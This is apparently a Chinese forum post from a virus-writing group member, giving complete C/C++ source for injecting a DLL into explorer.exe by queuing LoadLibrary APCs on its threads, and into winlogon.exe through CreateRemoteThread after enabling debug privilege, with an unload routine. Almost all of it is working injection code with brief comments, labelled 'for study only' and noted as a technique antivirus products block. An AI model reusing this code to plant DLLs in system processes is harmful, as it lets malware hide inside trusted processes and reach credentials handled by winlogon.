思路来自PJF的文章,这种DLL注入方式貌似在恶意软件中使用的比较少,但是AVSOFT也封的比较早~仅供学习。
参考资料:http://blog.csdn.net/wuna66320/archive/2006/09/01/1155348.aspx
#define _WIN32_WINNT 0x0400
#define WIN32_LEAN_AND_MEAN // 从 Windows 头中排除极少使用的资料
#include <stdio.h>
#include <stdlib.h>
#include <windows.h>
#include <Tlhelp32.h>
//
// coded by robinh00d[VX Z0NE]
// Email:robinh00d_at_qq_dot_com
// 向指定进程的线程里插入APC实现DLL注入
//思路来自PJF的老文
//
typedef struct _TIDLIST
{
DWORD dwTid ;
_TIDLIST *pNext ;
}TIDLIST;
DWORD EnumThread(HANDLE hProcess, TIDLIST *pThreadIdList)
{
TIDLIST *pCurrentTid = pThreadIdList ;
const char szInjectModName[] = "c:\\test.dll" ;
DWORD dwLen = strlen(szInjectModName) ;
PVOID param = VirtualAllocEx(hProcess, \
NULL, dwLen, MEM_COMMIT | MEM_TOP_DOWN, PAGE_EXECUTE_READWRITE) ;
if (param != NULL)
{
DWORD dwRet ;
if (WriteProcessMemory(hProcess, param, (LPVOID)szInjectModName, dwLen, &dwRet))
{
while (pCurrentTid)
{
HANDLE hThread = OpenThread(THREAD_ALL_ACCESS, FALSE, pCurrentTid->dwTid) ;
if (hThread != NULL)
{
//
// 注入DLL到指定进程
//
QueueUserAPC((PAPCFUNC)LoadLibraryA, hThread, (ULONG_PTR)param) ;
}
printf("TID:%d\n", pCurrentTid->dwTid) ;
pCurrentTid = pCurrentTid->pNext ;
}
}
}
return 0 ;
}
DWORD GetProcID(const char *szProcessName)
{
PROCESSENTRY32 pe32 = {0} ;
pe32.dwSize = sizeof(PROCESSENTRY32);
HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0) ;
if (hSnapshot == INVALID_HANDLE_VALUE)
{
return 0xFFFFFFFF ;
}
if (!Process32First(hSnapshot, &pe32))
{
return 0xFFFFFFFF ;
}
do
{
if (!_strnicmp(szProcessName, pe32.szExeFile, strlen(szProcessName)))
{
printf("%s的PID是:%d\n", pe32.szExeFile, pe32.th32ProcessID);
return pe32.th32ProcessID ;
}
} while(Process32Next(hSnapshot, &pe32));
return 0xFFFFFFFF ;
}
TIDLIST* InsertTid(TIDLIST *pdwTidListHead, DWORD dwTid)
{
TIDLIST *pCurrent = NULL ;
TIDLIST *pNewMember = NULL ;
if (pdwTidListHead == NULL)
{
return NULL ;
}
pCurrent = pdwTidListHead ;
while (pCurrent != NULL)
{
if (pCurrent->pNext == NULL)
{
//
// 定位到链表最后一个元素
//
pNewMember = (TIDLIST *)malloc(sizeof(TIDLIST)) ;
if (pNewMember != NULL)
{
pNewMember->dwTid = dwTid ;
pNewMember->pNext = NULL ;
pCurrent->pNext = pNewMember ;
return pNewMember ;
}
else
{
return NULL ;
}
}
pCurrent = pCurrent->pNext ;
}
return NULL ;
}
int EnumThreadID(DWORD dwPID, TIDLIST *pdwTidList)
{
int i = 0 ;
THREADENTRY32 te32 = {0} ;
te32.dwSize= sizeof(THREADENTRY32) ;
HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD,dwPID) ;
if(hSnapshot != INVALID_HANDLE_VALUE)
{
if(Thread32First(hSnapshot,&te32))
{
do
{
if(te32.th32OwnerProcessID==dwPID)
{
if (pdwTidList->dwTid == 0)
{
pdwTidList->dwTid = te32.th32ThreadID ;
}
else
{
if (NULL == InsertTid(pdwTidList, te32.th32ThreadID))
{
printf("插入失败!\n") ;
return 0 ;
}
}
}
}while(Thread32Next(hSnapshot,&te32));
}
}
return 1 ;
}
int main(int argc, char* argv[])
{
TIDLIST *pTidHead = (TIDLIST *)malloc(sizeof(TIDLIST)) ;
if (pTidHead == NULL)
{
return 1 ;
}
RtlZeroMemory(pTidHead, sizeof(TIDLIST)) ;
DWORD dwPID = 0 ;
if ((dwPID = GetProcID("explorer.exe")) == 0xFFFFFFFF)
{
printf("进程ID获取失败!\n") ;
return 1 ;
}
//
// 枚举线程ID
//
EnumThreadID(dwPID, pTidHead) ;
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPID) ;
if (hProcess == NULL)
{
return 1 ;
}
EnumThread(hProcess, pTidHead) ;
return 0;
}
============================
/=========================================
// 函数名: EnableDebugPrivilege
// 输 入: bEnable(BOOL) - 提升:TRUE, 恢复:FALSE
// 输 出: BOOL - 成功:TRUE, 失败:FALSE
// 功 能: 提升/恢复权限
//=========================================
BOOL CRemoteInject::EnableDebugPrivilege(BOOL bEnable)
{
HANDLE hToken = NULL;
BOOL bRet = FALSE;
// 打开当前进程的Access Token
if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken))
{
// 指定TOKEN_PRIVILEGES.Privileges的数组大小
// 因为只修改SE_DEBUG, 所以一个足矣
TOKEN_PRIVILEGES tp;
tp.PrivilegeCount = 1;
// 找到SE_DEBUG的权限属性,并根据需要写入
// 第一个NULL表示在Local System查找
if (!LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &tp.Privileges[0].Luid))
{
TRACE("LookupPrivilegeValue Error: %d\n", GetLastError());
CloseHandle(hToken);
goto Fail;
}
tp.Privileges[0].Attributes = bEnable ? SE_PRIVILEGE_ENABLED : 0;
// 提权
// 如果不保存先前的权限状态,第四个参数可以是NULL
bRet = AdjustTokenPrivileges(hToken, FALSE, &tp, NULL, NULL, NULL);
CloseHandle(hToken);
}
Fail:
return bRet;
}
//=========================================
// 函数名: GetPIDFromName
// 输 入: lpszProcessName(LPCTSTR) - 进程名
// 输 出: BOOL - 成功:目标进程PID值, 失败:FALSE
// 功 能: 获取指定进程的PID值
//=========================================
DWORD CRemoteInject::GetPIDFromName(LPCTSTR lpszProcessName)
{
HANDLE hProcessSnap = NULL;
PROCESSENTRY32 ProcessEntry;
DWORD dwPID = FALSE;
BOOL bSnapRet = FALSE;
ProcessEntry.dwSize = sizeof(PROCESSENTRY32);
// 创建当前进程快照
// CTS函数失败返回INVALID_HANDLE_VALUE
hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL);
ASSERT(!(INVALID_HANDLE_VALUE == hProcessSnap));
// 遍历进程快照,匹配进程名
bool bFound = FALSE;
bSnapRet = Process32First(hProcessSnap, &ProcessEntry);
while (bSnapRet)
{
bFound = (0 == lstrcmpi(lpszProcessName, ProcessEntry.szExeFile));
// 返回PID
if (bFound)
{
dwPID = ProcessEntry.th32ProcessID;
break;
}
bSnapRet = Process32Next(hProcessSnap, &ProcessEntry);
}
CloseHandle(hProcessSnap);
return dwPID;
}
//=========================================
// 函数名: GetPrevDllBaseAddr
// 输 入: dwPID(DWORD) - 目标进程的PID值
// 输 出: DWORD - 成功:DLL的BaseAddr, 失败:FALSE
// 功 能: 得到目标进程中先前注入的DLL的BaseAddr
//=========================================
DWORD CRemoteInject::GetPrevDllBaseAddr(DWORD dwPID)
{
HANDLE hSnapShot = NULL;
MODULEENTRY32 ModEntry;
BOOL bRet = FALSE;
DWORD dwRet = FALSE;
// MS枚举Winlogon的DLL模块仍然需要SE_DEBUG权限
// 否则会CreateToolhelp32Snapshot会因为拒绝访问出错
EnableDebugPrivilege(TRUE);
// 同样得先初始化大小
ModEntry.dwSize = sizeof(MODULEENTRY32);
ASSERT(dwPID);
hSnapShot = CreateToolhelp32Snapshot(TH32CS_SNAPMODULE, dwPID);
ASSERT(!(INVALID_HANDLE_VALUE == hSnapShot));
// 取回第一条快照
bRet = Module32First(hSnapShot, &ModEntry);
bool bFound = FALSE;
while (bRet)
{
bFound = (0 == lstrcmpi((LPCTSTR)m_sDllPath, ModEntry.szExePath));
if (bFound)
{
dwRet = (DWORD)ModEntry.modBaseAddr;
break;
}
bRet = Module32Next(hSnapShot, &ModEntry);
}
CloseHandle(hSnapShot);
EnableDebugPrivilege(FALSE);
return dwRet;
}
//=========================================
// 函数名: Inject
// 输 入: -
// 输 出: BOOL - 成功:TRUE, 失败:FALSE
// 功 能: 远线程注入DLL到Winlogon
//=========================================
BOOL CRemoteInject::Inject()
{
HANDLE hRemoProcess = NULL;
HANDLE hRemoThread = NULL;
LPTSTR lpszRemoRam = NULL;
BOOL bRet = FALSE;
// 提权至SE_DEBUG
bRet = EnableDebugPrivilege(TRUE);
ASSERT(bRet);
// 打开Winlogon
hRemoProcess = OpenProcess(PROCESS_CREATE_THREAD |
PROCESS_VM_OPERATION |
PROCESS_VM_WRITE |
PROCESS_VM_READ |
PROCESS_QUERY_INFORMATION,
NULL, GetPIDFromName(_T("winlogon.exe")));
if (!hRemoProcess)
{
TRACE("OpenProcess Error: %d\n", GetLastError());
bRet = FALSE;
goto Fail;
}
// 计算Dll路径的字节数, 包括最后的\0.
// 并在远线程中分配虚拟空间
int nSize = (m_sDllPath.GetLength() + 1) * sizeof(TCHAR);
lpszRemoRam = (LPTSTR)VirtualAllocEx(hRemoProcess, NULL, nSize, MEM_COMMIT, PAGE_READWRITE);
if (!lpszRemoRam)
{
TRACE("VirtualAllocEx Error: %d\n", GetLastError());
bRet = FALSE;
goto Fail;
}
// 把DLL的路径写到在远程线程中分配的空间中
// 此时对于目标进程应具有PROCESS_VM_OPERATION和PROCESS_VM_WRITE
bRet = WriteProcessMemory(hRemoProcess, lpszRemoRam, (LPCVOID)m_sDllPath, nSize, NULL);
if (!bRet)
{
TRACE("WriteProcessMemory Error: %d\n", GetLastError());
goto Fail;
}
// 获取LoadLibrary的函数地址
// GetProcAddress中可能必须指定A版还是W版
LPTHREAD_START_ROUTINE lpfnThreadRun = (LPTHREAD_START_ROUTINE)
GetProcAddress(GetModuleHandle(_T("Kernel32")), "LoadLibraryW");
if (!lpfnThreadRun)
{
TRACE("GetProcAddress Error: %d\n", GetLastError());
bRet = FALSE;
goto Fail;
}
// 创建远程线程,利用LoadLibrary加载DLL
// CreateRemoteThread的第四个参数要求一个定义自LPTHREAD_START_ROUTINE的函数
// 这个函数会在远程线程启动地址空间时调用
hRemoThread = CreateRemoteThread(hRemoProcess, NULL, 0, lpfnThreadRun, lpszRemoRam, 0, NULL);
if (!hRemoThread)
{
TRACE("CreateRemoteThread Error: %d\n", GetLastError());
bRet = FALSE;
goto Fail;
}
// Now, everything is ok
WaitForSingleObject(hRemoThread, INFINITE);
bRet = TRUE;
Fail:
if (lpszRemoRam)
{
VirtualFreeEx(hRemoProcess, lpszRemoRam, NULL, MEM_RELEASE);
}
if (hRemoThread)
{
CloseHandle(hRemoThread);
}
if (hRemoProcess)
{
CloseHandle(hRemoProcess);
}
// 恢复至普通权限
EnableDebugPrivilege(FALSE);
return bRet;
}
//=========================================
// 函数名: UnInject
// 输 入: -
// 输 出: BOOL - 成功:TRUE, 失败:FALSE
// 功 能: 卸载注入到远线程的DLL
//=========================================
BOOL CRemoteInject::UnInject()
{
HANDLE hRemoProcess = NULL;
HANDLE hRemoThread = NULL;
DWORD dwPreDllBaseAdd = NULL;
BOOL bRet = FALSE;
// 提权
bRet = EnableDebugPrivilege(TRUE);
ASSERT(bRet);
// 打开目标进程
hRemoProcess = OpenProcess(PROCESS_CREATE_THREAD |
PROCESS_VM_OPERATION |
PROCESS_VM_WRITE |
PROCESS_VM_READ |
PROCESS_QUERY_INFORMATION,
NULL, GetPIDFromName(_T("winlogon.exe")));
if (!hRemoProcess)
{
TRACE("OpenProcess Error: %d\n", GetLastError());
bRet = FALSE;
goto Fail;
}
// 得到注入的DLL的BaseAddress
dwPreDllBaseAdd = GetPrevDllBaseAddr(GetPIDFromName(_T("winlogon.exe")));
if (!dwPreDllBaseAdd)
{
bRet = FALSE;
goto Fail;
}
// 用FreeLibrary卸载DLL
// FreeLibrary有且仅有一个版本
LPTHREAD_START_ROUTINE lpfnThreadRun = (LPTHREAD_START_ROUTINE)
GetProcAddress(::GetModuleHandle(_T("Kernel32")), "FreeLibrary");
if (!lpfnThreadRun)
{
TRACE("GetProcAddresss Error: %d\n", GetLastError());
bRet = FALSE;
goto Fail;
}
// 创建远线程
hRemoThread = CreateRemoteThread(hRemoProcess, NULL, 0, lpfnThreadRun, (LPVOID)dwPreDllBaseAdd, 0, NULL);
if (!hRemoThread)
{
TRACE("CreateRemoteThread Error: %d\n", GetLastError());
bRet = FALSE;
goto Fail;
}
// Now, everyting is Ok
WaitForSingleObject(hRemoThread, INFINITE);
bRet = TRUE;
Fail:
if (hRemoThread)
{
CloseHandle(hRemoThread);
}
if (hRemoProcess)
{
CloseHandle(hRemoProcess);
}
// 恢复至普通权限
EnableDebugPrivilege(FALSE);
return bRet;
}